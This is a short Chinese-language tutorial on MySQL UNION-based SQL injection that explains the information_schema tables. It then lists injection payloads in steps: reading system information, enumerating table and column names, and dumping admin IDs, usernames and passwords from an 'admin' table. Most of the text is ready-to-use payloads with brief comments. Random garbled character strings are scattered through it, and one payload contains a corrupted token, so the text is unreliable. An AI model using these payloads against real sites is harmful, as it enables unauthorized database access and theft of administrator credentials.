mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法
3 e. X$ h- I4 m! S- m  ?' h
: z/ r% u$ Y. m8 f3 ^1 p$ G学习盲注前先了解下 IFORMATION_SCHEMA 库
6 D% m5 N( O% p9 g) m/ u+ q
/ r" A' h6 O0 l$ BMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
* J. z) d$ a% t( ?7 v存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
. e- w7 W0 k& X4 I8 f1 i1.得到所有数据库名：
" m4 L+ N7 u4 `3 v|SCHEMATA ->存储数据库名的表
7 e% y# l: s# d|---字段：SCHEMA_NAME ->数据库名称

4 ^; i% l( x3 p( s+ M( y% |- ?|TABLES ->存储表名
|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
3 |" u  |; s* b|---字段：TABLE_NAME ->存储表的表名
/ y) |6 k3 h8 S) k
/ S$ Y: S+ I+ z  Y|COLUMNS ->存储的字段名表
( e2 i; k3 l* _: Z|---字段：TABLE_SCHEMA ->该字段所属数据库名
|---字段：TABLE_NAME ->存储所属表的名称
. P+ O/ Z% x* g2 p% ~, A! K" I7 X" ?0 B
) k! F* N6 _0 V; A% \* n% c|---字段：COLUMN_NAME ->该字段的名称



; O  T* ^: r  Y% |: H: g###########################################################################
, M7 v$ N, f/ G
3 \3 U7 C6 W  ?/ n( o$ f0x001 获取系统信息:

union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
+ e9 c  j& \2 e! J' P3 l
( S9 o. @- I# K# b( T/*

@@global.version_compile_os 获取系统版本

* H: b2 x2 ], Q0 [2 I( b  g@@datadir 数据库路径
database() 当前数据库名称
: }' G9 Y  w8 C& W; ~0 p2 _0 }0x3c62723e 换行HEX值
# i$ g& p/ B% C3 {: D! a0 f4 H
*/
- v' [% ~; b6 f; e, B) t6 `
9 j4 E+ w, d) U6 k2 y! ]( J- N/ o
  z  J  A/ [  V6 `/ P
######################################################################
. Z. O7 J- W/ ~
7 d2 n1 [% W/ z2 y( _# }0x002 获取表名

$ O, h( f2 R8 qunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*

$ i0 _* V! W% z  [4 p
4 @- _1 P4 Q1 r/ `
/*

0 ?- c0 q) p( B0x67617264656e 为当前数据库名
6 Y" q  a6 J$ s, t6 h7 m/ `) b6 V
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
4 v' l$ S2 X+ j
0 r; P# b! a! c+ V2 X*/
" m# q* R0 F' t
. |) ^3 Z- C. @; v" w######################################################################

; d& `% l# k& N  D7 c( |: c2 L

4 Y1 z! I3 M+ I% U4 S+ B! p0x003 获取字段

/ H  C) y# v6 _& iunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*

% h3 h% a- ~1 Q4 q+ d) m/*

group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
3 k, J6 b7 j+ C
0x61646d696e ->选择一个表

0x67617264656e ->数据库名

*/

* \$ H' Y: [3 `/ B- L3 @4 i- q$ n#####################################################################
! H& r; I, @1 v+ {7 s3 o8 I


; z0 {8 M! G; \% m5 J0x004 获取数据
- ~- J) e% I1 |5 t' f! h# `' u
# F. `5 g( |: C' Iunion select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

" C& I" w9 m/ u2 B* i, \union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
  Q4 D  \# T, R
/ w% a/ t$ ?4 W0 e: h: F% b( t
# q% |; b# H, }; W: X- S  U
+ ?) V: H$ D- M  j+ C/*
5 p0 l! H5 X% j9 i
0x3c62723e 换行符号HEX编码

group_concat 同时获得该字段所有数据
9 u8 C+ ~0 I5 \) n' I! u1 n) {
*/
8 L8 f# ]7 q# i/ z. U